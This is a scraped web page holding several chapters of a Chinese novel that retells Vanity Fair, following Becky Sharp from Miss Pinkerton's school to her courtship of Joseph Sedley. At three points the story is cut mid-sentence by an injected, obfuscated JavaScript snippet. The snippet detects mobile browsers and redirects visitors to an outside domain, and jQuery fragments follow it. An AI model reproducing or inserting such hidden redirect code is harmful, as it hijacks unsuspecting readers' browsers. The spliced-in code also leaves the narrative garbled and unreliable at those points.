上次校庆，夏普先生带她来时，她便是用这幅安分规矩的模样，博得她的怜爱，后来还收到过她的信和赠送的玩具。 那封信，她还记得，口吻很严肃。洋洋洒洒写下数行字，只是为了通知她，娃娃是送给她的。 “听说你会法语？” 瑞蓓卡感到有些不妙，为什么平克顿小姐先问这个问题，她不是要收养她吗？ “是的（法语）。” 女教员往前走几步，凑到平克顿小姐身边说：“她母亲是法国蒙默朗西家族的后裔，昂特勒夏女伯爵，因为大革命流落到索霍区，我已向人们打听过，这很可能是真的。” 平克顿小姐没有对女教员的话做出反应，而是语调稍高，似乎很满意地对她说： “很好，地道的巴黎口音。”后来瑞蓓卡才知道，平克顿小姐只会装腔作势，压根不懂得法语。 “但是人们还告诉我另一件事，夏普太太生前的职业是芭蕾舞演员……” 女教员压低声音，话还没说完，被平克顿小姐强势的命令打断：“这件事以后不要再提。” 在一种怪怪的、搞不清楚状况但直觉告诉她不对劲的情况下，她与平克顿小姐签下了收养合同。 瑞蓓卡仔细地看过合同，合同没问题，有问题的只能是平克顿小姐收养她的动机。 但事已至此，身处平克顿小姐的学校，与明拉多的婚约也已经取消，不签合同，她无处可去。能接触上流社会，情况再差，也不会比旧画室差吧？ 签署完的合同，被交给女教员，拿去给本教区牧师，平克顿小姐终于开门见山。 “夏普小姐，本校法语教师的职位刚好空出，我认为你完全可以承担起这份责任。正常教师的年薪是二十英镑，夏普先生的事大概花费了——” “四十英镑。”女教员说。 “嗯，既然如此，你至少要先工作两年，才能享受普通教师的收入。” 瑞蓓卡怀着期望来到这里，希望平克顿小姐能收养她，现在平克顿小姐虽然确实那么做了，但却是为了给自己弄来一个免费的法语教师。 很快，她发现，事情比这还要糟糕。 校长养女的身份，除了让她不必住在教师或学生宿舍里，能够与平克顿小姐和特别寄宿生分享这个漂亮的房子，几乎没发挥过任何正面作用。 副作用倒是挺严重。 她没有报酬，也没有资格要求报酬，哪有女儿帮养母一点小忙，还要求报酬的呢？ 偶尔兴许有几个畿尼，全看平克顿小姐心情如何。但这偶尔的几个畿尼，让她感到更糟糕，金畿尼无时无刻不在提醒她，平克顿小姐扼住了她的喉咙，她不是凭本事赚钱，而是要看人脸色，靠人赏赐。 在这里，她有时候是负责全年级法语课的教师，有时是低年级学生的看护，有时又是学生，校长养女的身份，被大家不约而同地遗忘了。 人们只记得她卑贱的出身。 平克顿小姐试图隐藏她母亲的职业，简直是异想天开。 在这种封闭鲜少有外部刺激的环境里，说闲话是取乐的唯一方式，瑞蓓卡卑贱的出身，几乎是全校共知的秘密。 被平克顿小姐收养前，瑞蓓卡生活贫困，与身边人的来往都是平等的，且是受欢迎的，而现在，没人欢迎她，除非是要聊聊八卦，这时候人们总会很乐意用轻蔑的语气提起她。 按部就班生活的枯燥乏味、低人一等的常态、高年级学生的飞短流长、低年级孩子恼人的叽叽喳喳和顽皮、各科教师的傲慢，持续对她造成伤害，却并没有让她自怨自艾、一蹶不振。 瑞蓓卡自认为，她不是父亲那种稍有些不得志就立刻颓废沉沦的软骨头，她生来体内就有股躁动不安、绝不认输的劲头。 她下定决心，无论如何要冲出这座牢笼，于是立即行动起来，着手为未来制定计划。 既然已经来到这里，那么索性利用环境本身向她提供的有利条件发奋学习。 三年里，她忙里偷闲，带着一股对这里的怨恨和愤怒，报复式地拼命汲取知识。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918363|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而这一举动，惹恼了那些特别寄宿生，使她们之间产生友情的渺茫希望彻底消失。 一个芭蕾舞演员的女儿凭什么与伯爵外孙女、嫁资十万镑的小姐，享用同样的教育资源？有何资格做她们的同学？她为什么那么努力？她超过她们想干什么？ 瑞蓓卡的法语、文学、历史、地理、算术等方面基础很好，短时间内，她便修习完目前被认为上流社会女子必须掌握的一系列课程。 唯一不足的是，旧画室里没有钢琴，三年前来到平克顿女校时，她才第一次接触这项乐器，也是第一次从教师那里得到专业的评价，发现自己的嗓音条件竟很不错。 某日大家都休息的时候，她向音乐教师说了很多好话，拿到一份价值七八镑的琴谱，偷偷到音乐教室练习。 恰好平克顿小姐从学生不满的抱怨中，了解到她情况，躲在教室外听她演奏了一曲。 演奏结束后，她走进教室，咳嗽两声，迫使瑞蓓卡将注意力从琴谱转移到她身上。 “三年能练到这个水平，你也算得上本校优秀教育成果的典范了，以后低年级的音乐课就交给你。” 听到平克顿小姐的话，瑞蓓卡感到惊喜，她在音乐方面的短板终于补足了。 这种高兴甚至使她在听到那压榨她的请求时，并没有太生气，该学的东西都已经学完，按照计划，她终于可以离开，不必再对平克顿小姐言听计从。 “可以——” 她顿了顿：“您付给我钱，我就干。” 听到后半句话，平克顿小姐一愣，旋即恢复校长的威严：“你知不知道自己在跟谁说话？” “我的职责是教法语，不是教音乐，想让我多干，那就付钱。” “夏普小姐，是不是学校里的生活太安逸，让你忘记了索霍区旧画室里的穷困？如果不是我出于基督徒的善心，提拔你，你现在还烂在贫民窟里，怎么敢这样跟我说话？真是忘恩负义！” “忘恩负义？笑话！”瑞蓓卡冷笑一声，“我们之间从不存在谁施恩谁受惠的情况，你想要一个法语教师，我恰好懂法语，需要安身之所，各取所需，哪有什么恩情？” 老校长气得后仰，过了一会儿，稍微缓过劲来，厉声责问道：“你知不知道自己在跟平克顿小姐讲话？” 瑞蓓卡突然笑起来，带着疯狂与狰狞，那是一种享受安宁富足生活的人，没见到过也想象不到的表情。 老校长感到一阵毛骨悚然，再看到那双绿森森如同毒蛇盯上猎物的眼睛，这才意识到，瑞蓓卡不是学校里乖乖听她摆布的学生，虽然过去三年是这样，但瑞蓓卡的出身和经历，终使她与那些天真烂漫、没接触过社会的学生不同，自己的威胁根本没用。 她竟然无知无觉，放任这种不受控制的可怕家伙，待在学校里整整三年！ 瑞蓓卡拿起琴谱，盖上琴盖：“咱们互相讨厌对方，只要你给我一笔钱，或是帮我找份好工作——在一户贵族家里当家庭教师，我立刻就走。” 那天的争吵之后，平克顿小姐立刻就想把她赶走，但是想到瑞蓓卡的强大的工作能力，她那种基督徒式的善心又发作了。 如果任由瑞蓓卡离开，她至少需要再雇佣三个员工，两个法语教师，分别负责高低年级，一个专门的看护，照顾刚入学的低年级学生。 平克顿小姐想，她不该放走瑞蓓卡，她怎么能让一个才刚十九岁父母双亡的可怜家伙，这么早踏足社会？ 5. 第 5 章 除了利益因素，后来想起那天的争执，平克顿小姐总觉得自己是因为没有准备，才被瑞蓓卡占据上风。 不然的话，难道她的意志和智慧，会输给一个没背景的十九岁学生？ 这之后，平克顿小姐开始与瑞蓓卡较劲，总是试图挑出她的毛病，当众申斥她，想将她吓倒。 结果却是她在瑞蓓卡那儿处处碰壁，如果不尽快将瑞蓓卡打发走，她在学校积攒了三十五年的威信，将在瑞蓓卡被吓倒前，先一步荡然无存。 刚巧在这之间，还发生了一件不大不小的事情，让她更坚定地要赶走瑞蓓卡。 契绥克教区牧师，新聘用了个助理牧师克里斯普先生，这个年轻人竟对瑞蓓卡一见钟情，就因为“绿眼睛穿过教堂投向讲经台的那一瞥”——此言来自克里斯普先生写给瑞蓓卡的信。 克里斯普先生的母亲，与她有些交情，偶尔克里斯普先生会到她这里喝喝茶，当着她的面，两人还见过两次，并没搭话。 瑞蓓卡声称在此之外，并没有再见过克里斯普先生，但她始终无法完全相信瑞蓓卡。 克里斯普先生写了封信，大有求婚的意思，他拜托学校栏杆处卖苹果馅饼的独眼女人，转交给瑞蓓卡，但这封信被拦截了下来。 听说这件事后，克里斯普先生的母亲，立即跑到契绥克，将她的宝贝儿子带走，还要求她处理这个勾引她儿子的小个子女人。 因此，在打听到汉普郡的布克德太太需要一位家庭教师时，她立刻寄去瑞蓓卡的推荐信，并在信中隐掉瑞蓓卡的危险性，只称赞其智慧。 对于这份工作，一听到布克德太太没有头衔，瑞蓓卡的反应是下意识地拒绝，但她还是接受了。 她在这里唯一的朋友爱米莉亚·塞德立，修完学业，最近将要离开，爱米莉亚得知她赴任前有两周的空闲时间，非常高兴地说：“那么我可以邀请你来我家玩啦，正好跟着过几天来接我的马车一起回去。” 一个罕见的午后艳阳天里，她独自坐在卧室，收拾着行李。 其实也没什么值得收拾的，三年前来到这里时，箱子里只有两条裙子，现在也还是如此，唯一的区别是，箱子外面钉上了黄铜名片“R&S”。 楼下时不时传来女人的哭声，隐忍的哭泣、歇斯底里的哭泣、还有某位小姐哭晕过去引起的骚乱。 她不想下楼，加入这场告别会，她知道没人因为她的离开，产生任何情绪上的波动。 过了一会儿，估算着时间差不多了，她拎起箱子，走下楼。 “爱米，你一定要记得给我们写信，每周都写！” “也要给我写信，我想知道你在家中的一切，每周决不能少于三封信，否则我会很伤心的……” 十四个特别寄宿生，将那个金发蓝眼的姑娘团团围住，喋喋不休。 爱米莉亚家的仆役正在搬行李，爱米莉亚的行李箱足有四个，还不算帽盒、同学教师送的干花等告别礼物。 瑞蓓卡将她那饱经风霜的旧牛皮箱子递给仆人，转头看到，这栋房子里的仆人们不知什么时候来到一楼的门厅处，他们也想跟爱米莉亚告别。 她想不明白为什么人人都为爱米的离开那么伤心？ 爱米莉亚·塞德立的性格再普通不过，是每个人身边都会有一个的那种没脾气没主见、遇事只会迁就忍让、智慧相当贫乏的人，除了善良老实，几乎一无是处。 她以后也一定能获得所有人的喜欢，像爱米这样众星捧月，但她绝不会选择依靠善良来实现梦想。 “蓓姬，你也去跟校长告别吧。”爱米莉亚走过来，手上拿着平克顿小姐赠送的《词典》。 “哦，那当然，为什么不呢？” 瑞蓓卡走到办公室前，正要敲门，平克顿小姐却先她一步，从里面出来，看到她似乎有些惊讶。 看着老校长皱皱巴巴的脸，她冒出一个比告别更好的想法。 “早上好，平克顿小姐（法语）。” 平克顿小姐有模有样地点点头，好像真的听得懂法语似地。 “夏普小姐，我自认为收养你三年，从未亏待，你非要跑到乡下当家庭教师不可吗？” 瑞蓓卡心平气和地微笑着解释：“如果这也算是从未亏待，那美国庄园主全都成好心收养黑人的慈善家了，你这个恶女人，活该掉进泰晤士河里（法语）。” 没有察觉出异样，平克顿小姐说：“那好吧，既然你这么说，我只能尊重你的追求。” “感谢您的理解和支持。” 一转身，平克顿小姐发现周围安安静静的，刚刚那些哭泣的小姐们，不知为何停止哭泣，一个两个全部惊得睁大眼睛看着她。 老校长抿了抿唇，昂起她那长着鹰钩鼻、缠着漂亮缠头的脑袋，脸上的倨傲神情依旧，却隐隐能看到平静背后的怒火。 瑞蓓卡猜到平克顿小姐已经明白，她十分愉快：“平克顿小姐，不知道我是否有幸能像爱米那样，得到您赠送的《词典》？” 《词典》的作者约翰生博士曾到访这里，还留下了一段赠言，使平克顿女校名声大噪。 这之后，赠送毕业生《词典》便成为传统。 平克顿小姐认为自己将她从社会底层带到这里，已经够对得起她，不必再赠送《词典》抬举她，她也不是正儿八经的学生。 但如今对方当众之下向她索要，即使心中再不愿意答应，她不好在众目睽睽之下拒绝，有失体面。 “哦，谢谢你提醒我。” 平克顿小姐像是刚想起来有这回事，没有故意吝惜这两先令九便士的样子，把书递给她。 “毕竟你也算是本校的学生。” 瑞蓓卡早早坐进马车里，紧紧捏着手中的《词典》，爱米莉亚在门口，再次与人们拥抱告别，哭得不成样子，直到平克顿小姐出声催促，才止住哭泣登上马车。 车轮刚一转动，瑞蓓卡推开车窗探出头，使劲将某个小东西丢出去。 砰地一声，它以相当漂亮的弧线落到平克顿小姐的脚边。 “哦！”平克顿小姐吓得迅速后撤，待看清那是一本《词典》后，气得嘴唇颤抖：“我还没有见过这么狂妄的……” 她靠回到车厢椅背上，高兴地舒了一口气：“感谢上帝，我总算离开这个鬼地方了。” 爱米莉亚被她刚刚放肆的举动吓得说不出话，过了半晌才挤出一句话：“蓓姬，你怎么能这样？” “我恨她，恨这个学校，除了你，这里没人看得起我。” “存心报复不可取，你不该把平克顿小姐不会法语的事捅出来，真不知道这件事要是传开，家长们会怎么对待她。” 在本世纪，最能够标榜身份的淑女艺能，非法语莫属。 平克顿女校开设各种淑女所必备的课程，老校长更是以培养高贵淑女的教育家自居，而这样一位教育家，竟然连法语都不懂！谁还敢放心把小姐们交给她管教？ 看着爱米莉亚不赞同的神色，她握住爱米的手，拿出心中从来就不存在的正义感，严肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918364|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地盯着爱米莉亚。 “爱米，家长付给她钱，他们有权力知道真相。” 坐在她对面的小姐，本来就没有对她不满，刚刚的感慨，完全是出于一番善心，如今又听了这正义凛然的话语，爱米莉亚顿时完全倒向朋友的阵营。 马车渐渐走到瑞蓓卡记忆里的地方，她清楚地记得哪段路是当年来时经过的路，这些再次见到的景物，没那么熟悉，却有种真实感，她终于再次回到社会的怀抱，即将开始人生旅程的新冒险。 到了伦敦拉塞尔广场的塞德立大宅，爱米莉亚扶着黑人侍从的胳膊，跳下马车。 瑞蓓卡跟在她身后下车，朝搀扶她的黑人侍从说：“谢谢你，先生。”见过爱米惊人的好人缘，她在来的路上打定主意这次要广结善缘。 黑人桑波第一次被人称呼为先生，惊地愣在原地不知所措。 尽管上流社会有善待仆从的风气，所有仆人都能被称为先生小姐或者是太太，但这项权力并不属于黑人。 见过塞德立夫妇，瑞蓓卡由热情的爱米带领参观了每间屋子，进入主人家小姐的房间后，爱米的热情更是一发不可收拾，她拉开自己的每一个抽屉，把每件东西都拿出来，向客人展示了她的全部所有物： 小到婴儿时期用过的牙咬环、与未婚夫逛集市时买的小刀、母亲与女管家编织的花边，大到钢琴、衣衫和珠宝…… “我一直知道你过得很幸福，但在今天之前，幸福对我来说，一直是个笼统的概念，如果不是亲眼所见，我想做场幸福的美梦，都不知道如何编织梦境。” 瑞蓓卡的话不是虚假的的恭维，而是真心实意有感而发，她还是第一次窥得幸福的细节，那种震撼让她头皮发麻。 原来世界上真的有人过得这么好。 爱米莉亚被深深打动：“你以后会幸福的，蓓姬，我永远是你的朋友，永远地像亲姊妹那样爱你。” “可是到哪去找像令堂令尊那样慈爱有钱的父母？”瑞蓓卡当然相信凭自己的智慧和努力，她以后肯定过得不差，但总有些东西，不是后天能弥补的。 看着爱米哥哥从印度给她带来开司米披肩等礼物，她又补上一句：“还有这么疼爱你的哥哥。” 爱米轻笑一声。 “难道我说的不对吗？还是你觉得约瑟夫先生并不疼爱你？” “没有，只是我们虽然是兄妹，但并不熟悉，我对他的了解，还不如对你的了解更深，可能是年龄差距太大又不常见面吧。”爱米莉亚慢吞吞地说。 “他去印度时，我只有五岁，我十五岁之前甚至都没见过他，他在印度待了整整十年才回来，每次回来都住在外面的公寓里，很少到拉塞尔广场这边。” “可是他送给你那么多礼物。”瑞蓓卡很不可置信。 “是的，这一点没错，我知道他在花钱方面，对我绝不吝啬，但是他见到我的时候，总是没什么反应。反正，我觉得他没那么在意我。” 瑞蓓卡觉得爱米莉亚被大家宠坏了，被大家热烈的爱宠坏了，以至于她对他人情感的判断出现问题，一旦别人不那么热烈且强烈地喜爱她，她就觉得对方不在意自己。 如果有人每次休假回英国都给她带一大堆礼物，瑞蓓卡绝不会认为对方与自己没什么感情。 心中细数着约瑟夫先生送的礼物的价值，瑞蓓卡断定他在印度的工作薪水绝对不低。 “你还没说过你的嫂子，她一定很漂亮吧？” “哪里！乔①还没有结婚呢。” 6. 第 6 章 两人正说着，右边开着的窗户，传来一阵马蹄声，声音恰好停在塞德立家。 “一定是乔来了，他现在正在休假，偶尔到这边看看我们。” 爱米莉亚拉起瑞蓓卡，走到窗子边，约瑟夫·塞德立正要下车。 起先，瑞蓓卡看到一个圆滚滚的肚子挺到马车外面。 紧接着，约瑟夫穿着绷得紧紧的红色条纹背心和苹果绿外套，慢慢从车子里挪腾出来，似乎很小心翼翼，生怕动作幅度太大，把衣服纽扣挣开。 然后他迈了几步，肥腿隐藏在鹿皮裤子和黑森靴之下，比上半身那明显做小一号的衣服，看上去要得体一点，但也没多好看。 “你哥哥打扮得还挺时尚。”瑞蓓卡不得不承认约瑟夫这身穿着，是现在花花公子最流行的打扮——她坐马车来时见过不少穿着浮夸的男人，但约瑟夫的体型实在太不雅观，又偏要把自己塞进小号衣服里，着实有些滑稽。 “乔！” 约瑟夫听见妹妹的呼喊，抬头望去，却在窗户那见到个陌生的漂亮女人，顿时满脸涨红，脖子往领巾里一缩，落荒而逃般得转过身，往马车里挤。 塞德立太太听到动静，知道自己儿子来了，出来迎接，见状忙叫住他不许他离开。 “他怎么这么害羞？” “哦，他就是这个样子。” 爱米莉亚拉着瑞蓓卡赶紧离开窗子，翻出一条有枝状花纹的轻薄白纱裙：“这条裙子送给你，我们赶紧换衣服下楼吧。” “这怎么行？” 瑞蓓卡暗喜。刚才她还想着该如何问爱米借一件晚装，她只有两条日间裙子，在学校里还够用，出来做客总不能如此没礼貌，用晚餐前连衣服都不换。 “怎么不可以？那条裙子是我以前的裙子，现在我穿不上了，不送给你，也会送给家里的女佣，你不要有心理负担。” 说罢，她跑去打铃，叫女佣上来帮她俩换衣服，情绪异常地热烈：“我要把你介绍给乔，我们得快点，乔一般不在这里吃饭。” 爱米莉亚的大方，有些出乎瑞蓓卡的预料，她才到这里一个钟头，爱米不仅送她一条裙子，连哥哥也要送给她！所谓“介绍”的言外之意，和爱米为什么突然这么兴奋，瑞蓓卡非常明白。 两人很快换上衣服，爱米莉亚戴首饰的时候，瑞蓓卡毫不掩饰羡慕的目光，爱米发现后，果然为她戴上一条白色光玉髓珠链。 “我发誓我要永远戴着它，永远记着你的好意。”她特意吻了吻这条项链。 爱米莉亚十分受用，又拿起一对绿松石耳坠，为她戴上。 看着镜子里大变样的瑞蓓卡，她心中非常高兴，暗暗决定要让母亲同意把她的一条开司米披肩送给瑞蓓卡。 两人携手下楼时，约瑟夫正坐在炉边看报纸。 短暂地寒暄之后，他非常窘迫地不去看瑞蓓卡，只得将扶手椅调转过去，背对他们坐在炉子前，不停地用拨火棒拨炉火。 “他长得挺帅的。”瑞蓓卡向爱米莉亚大声耳语。 约瑟夫这下连背对她们，都坐不住了，腾地站起来就要走。 爱米莉亚没有强行将他留下，她知道自己的哥哥不爱在家跟家人们吃饭。 但塞德立夫妇不能不挽留儿子，他们知道挽留无用，只是无法违抗两颗慈父/慈母的心。 塞德立先生并不抱希望地挽留几句，约瑟夫竟然重新坐回到那个椅子上。 爱米莉亚觉得事情很有希望，朝瑞蓓卡眨眨眼睛。 本来瑞蓓卡这桩婚事并不抱有多大希望，只是想试试，现在看到这样子，她突然觉得，两周时间绰绰有余，她绝对能在离开前，让这个胖先生向她求婚。 “我必须特别文静，太主动会吓坏这个腼腆的家伙，还要对印度表现出巨大兴趣，他在印度待了十三年呢，不喜欢那里怎么可能待那么久？” 走进餐厅前，瑞蓓卡这样在心中反复叮嘱自己，搜肠刮肚地把《天方夜谭》《哥思黎地理学》等有关印度的书，从记忆中调出来。 这顿晚饭瑞蓓卡几乎大获全胜，她的文静缓解了约瑟的腼腆，两人关系迅速拉近不少。 只是有一件小插曲，让她很生气。 她声称自己喜欢印度的一切，包括印度料理，约瑟夫从来没碰到有人对印度这么感兴趣，塞德立先生以看戏的态度，让人把专门给约瑟夫做的咖喱饭，盛给她一份。 在四双眼睛的注视下，她硬着头皮将挖了一勺黄色糊糊和米饭，火辣辣的感觉立刻充满整个口腔。 看着约瑟夫期待的样子，她不得不忍住要水喝的冲动，忍着要喷火的冲动，笑盈盈地说：“还不错，我挺喜欢的。” “真的吗？你喜欢吃这个？” 瑞蓓卡点点头。 约瑟夫没有注意到她正在不停地吸气呼气，还以为她是真的爱吃辣，建议道：“你可以拿一只淇漓①配着吃，这样更美味。” 爱米莉亚和塞德立太太露出不赞同的表情，塞德立先生和约瑟一致期待地看着她。 “chilly（阴冷的）？哦，好的！” 她实在迫切地需要清凉东西，没怎么观察那碧绿的淇漓，便用叉子插着送入口中，还没咀嚼两下就叫起来：“水！给我水！” 所谓的淇漓竟然是绿辣椒！ 塞德立先生哈哈大笑起来：“这可是你喜欢的正宗印度货！” 约瑟夫愣了愣，随即学着父亲的模样放声大笑，这样大笑或是看瑞蓓卡出丑，似乎能缓解一下他看到她时的紧张心情。 爱米莉亚和塞德立太太虽然不赞同他们的行为，但脸上也都挂着淡淡的微笑。 瑞蓓卡觉得自己现在像个跳梁小丑供他们取乐，而始作俑者是发现她讨好约瑟夫后一直一副看戏态度的塞德立先生。 如果他没让仆人给她盛咖喱，没有最先笑出声，她这会儿压根不可能这么窘。 她恨不得将他掐死，但最终还是像咽下咖喱饭一样咽下了这口气，转而十分不在意地聊起印度的其他事情。 她并不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918365|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，自己这迫不得已的举动，竟然为自己赢得了塞德立先生的好感。 老绅士觉得她的脾气不错，经得起玩笑，约瑟夫如果真的要娶她，他绝不会因为瑞蓓卡没钱阻拦他们。 那天之后，约瑟夫三四天没到拉塞尔广场这边，他还是有些害怕瑞蓓卡这个陌生的漂亮小姐。 瑞蓓卡则抓住这段时间，努力赢得所有人的好感。 她对家里所有的佣人都客客气气，每次用到仆人，都要道歉说自己给她们添了麻烦，始终坚持对黑人桑波使用敬语，对女管家最擅长的紫莓果酱表示出强烈的兴趣，博得女管家的好感。 至于对待塞德立夫妇和爱米莉亚，那更是不必说。 后来再见到约瑟夫时，在塞德立夫妇和爱米莉亚的撮合下，一切水到渠成。 在某次晚餐中，家里仅有爱米莉亚和她的未婚夫乔治·奥斯本，瑞蓓卡和约瑟夫。 屋外是电闪雷鸣狂风暴雨，瑞蓓卡弹奏一曲后，所有人都满口称赞，连爱米的未婚夫也不得不承认她的音乐水平远远胜过爱米。 在奥斯本先生和爱米莉亚这对爱侣的映衬下，约瑟夫几次张口，都有求婚的意思，只是他那怕羞的毛病又犯了，说来说去总是说不到正题上。 奥斯本不知怎么回事，老是待在俩人的身边，搅得约瑟夫更加无法开口。 当晚，约瑟夫认真思考起这件婚事的可能性。 瑞蓓卡样样都能拿得出手，除了出身和嫁妆，但是要跟大多数不得不远走印度的女孩比起来，她也还过得去。 如果与她结婚，回到印度，大家一定会非常羡慕他。她漂亮得出奇，有些矮小但身材玲珑，法语比总督夫人还地道，歌喉更是无人能比，如果她出现在加尔各答的舞会上，一定能引起轰动！ 但是求婚这件事，实在难以张口。 塞德立夫妇深知儿子的脾性，眼看瑞蓓卡的假期快要结束，他们和爱米莉亚，都不想让约瑟夫错过她，于是令他和奥斯本先生陪伴两位女士去逛游乐场。 此命令一下，塞德立大宅的所有人，都知道了瑞蓓卡非要成为约瑟夫太太不可，没两天，附近几家住户也得到了消息。 瑞蓓卡幻想着到殖民地当阔太太，决意不惜一切，要让约瑟夫在游乐场向她求婚，最迟也不能超过去游乐场的第二天，因为第三天她就要离开了。 爱米莉亚也是使出全力打扮她，如果说老塞德立夫妇为儿子着想，才撮合两人，爱米莉亚则是完全出自对瑞蓓卡的喜爱，这种喜爱甚至超过对她哥哥的感情。 很快，去沃克斯霍尔游乐园的日子到了，奥斯本先生还带了另一位同伴杜宾上尉。 杜宾上尉是奥斯本先生的同学和战友，一副粗手笨脚的模样，并未多引起瑞蓓卡的注意，她只是有些怀疑奥斯本先生突然又带来一个人的动机。 还好杜宾上尉很有眼色，走进沃克斯霍尔不久，他便走开了。 瑞蓓卡挽着约瑟夫的胳膊，有意与另一对情侣分开，往人少的地方走去。 7. 第 7 章 避开万千彻夜通明的火树银花，避开被众人围着的正表演《波罗金诺之战》①的金色贝壳舞台，避开跳乡村舞蹈的男男女女和各种小摊子，瑞蓓卡挽着胖先生，走在一条黑灯瞎火的小路上。 音乐声和噪音被远远隔开，周围只剩预告萨基女士杂技表演的铃声，小路的尽头有一个茅庐，坐着个吉普赛人。 瑞蓓卡对此很感兴趣，约瑟夫绅士地要替她掏钱，她急忙伸手按在他的手上：“哎，你没听说过占卜要花自己的钱才准吗？” 约瑟夫脸上的肥肉抖了抖，听话地把钱收回去。 “请帮我算算婚姻，我现在有一个很喜欢的人，也有一个很想和他去的地方。”她慢慢蹲下去，把硬币放进钵里，借着蹲下的机会，朝那个吉普赛人笑笑，眨眨眼。 她相信在这里做生意的人，一定会明白她是什么意思。 吉普赛人拿出一套扑克牌：“抽三次牌，每次抽三张。” 瑞蓓卡抽到的三次牌分别是6、7、7；10、9、4；k、9、2。 “你20岁就能结婚。” 这个吉普赛人也太保守了，她挽着一位明显爱慕她的先生，跑到这没人的地方，还问他这种问题，难道他不该回答说今年就能结婚吗？ 正这样想着，她觉得周遭陡然升温，约瑟夫的脸和脖子都红了，从她挽着的胳膊的温度来判断，他估计整个人都红了。 二十岁，也就是明年，也不算太迟，怪不得他是这幅模样。 瑞蓓卡毫不怀疑，他那羞窘的表情和颤抖的程度，是在强忍逃跑的念头。 为提防这种可能，挽着他的胳膊暗中绷紧，时刻预备着拉住他，不要让这条大肥鱼跑掉。 “那我会去国外吗？” “会，你会去很多国家，”吉普赛人盯着扑克牌皱眉，“从牌面上来看，你将有三段婚姻，以后的很多时间都不在英国，但是……” 约瑟夫涨红的脸色顿时煞白，僵硬地愣在原地，转头看看瑞蓓卡。 瑞蓓卡快气炸了，她花钱难道是为了听这个？ “走吧，这个人说得一点儿都不准。”她时刻发力的胳膊，将约瑟夫用力一扯，转身拉着他就走。 胖先生看着是个大块头，这会儿不知道是被吓得，还是什么原因，瑞蓓卡拉他走时，觉得像是在拉着一大块蓬松的棉花。 别说约瑟夫被吓到，她有一瞬间也被吓到，但很快被愤怒掩盖。 结三次婚是什么水平？丈夫死掉两次，还是离婚两次？ 以英国上流社会对离婚的包容程度来看，还不如丈夫死掉两次，一旦离婚，离婚双方打破了社会规则，必然被上流社会流放。 约瑟夫如果信了那个吉普赛人的鬼话，只要他不想早亡或是被流放，他是绝不会娶她的。 她不能让他相信那个吉普赛人。 “我怎么会相信那个家伙？简直是浪费钱，你信不信我现在回去问他，能不能算出自己今晚的收入，他一定说不上来。” 约瑟夫终于从大脑空白中恢复过来，意识到他刚刚的那副被唬到的样子很丢脸，急于撇清：“我也差点相信他。哈！” 瑞蓓卡的情绪缓了缓：“他装神弄鬼，好像挺令人信服的样子，但他要是真有本事算出人的未来，他早就被请到卡尔顿府②——” 正当此时，预告放烟火的铃声响了。 许多和他们一样，走失在这偏僻地方的情侣，不知从哪里忽然冒出来，争先恐后，乱作一团，往烟火方向跑去。 一个从她面前经过的鲁莽的家伙，踩在她脚上，瑞蓓卡借此机会发出轻轻一声尖叫，轻轻倒在约瑟夫先生的怀里。 喧嚣热闹的人流、不远处放烟火的声音以及怀里的瑞蓓卡，暂时使约瑟夫忘记刚刚的事，被吉普赛人吓得失掉的柔情蜜意，又回来了。 这一小插曲，使两人恢复最初那副恩爱的模样，挽着胳膊随着人流，去看烟花。 瑞蓓卡迫切地希望，烟花带来的氛围，能抠出他心中想了许久的那几句话，然而在烟花之后，他并没有主动说话。 “不知道印度有没有这么漂亮的烟花。” “没有这么大的，但那里有排灯节③，也非常漂亮。” “真想去见识见识。” “你真的想去？” “乔！”不远处传来奥斯本先生的声音。 奥斯本先生穿着红色陆军制服，挽着爱米莉亚，出现在两人眼前：“太好了，他们那里，我们可以一起去吃饭！” 完了，瑞蓓卡瞬间泄气。 她倒不是嫌奥斯本和爱米莉亚影响他们两个，而是约瑟夫一提到吃饭，总是容易什么都忘了。 果然，现下他便是一副什么都忘了的表情，丝毫不记得刚刚自己正要求婚，肥硕的脸上写满对事物的渴望。 “好，我也是这么想的，那边有家店的亚力④潘趣特别特别不错！我带你们去。” 这顿饭，瑞蓓卡吃得心不在焉，爱米莉亚和奥斯本也是，大家都盼着能快点吃完，再出去玩玩，偏偏约瑟夫喝亚力潘趣喝得有些醉了，醉醺醺地开始给大家讲笑话。 酒精让他情绪高涨，平时胆腼腆胆怯惯了，这会儿他趁着酒意，将掩藏在内心深处的活泼通通发散出来。 他声音高亢，笑话说得震天响，引来几十个人围着他看热闹。 人们想看这个大胖子出丑，带着恶意，不停喝彩，约瑟夫已经失去判断力，还以为大家为他叫好，当即用高亢的哭丧调唱起一首歌。 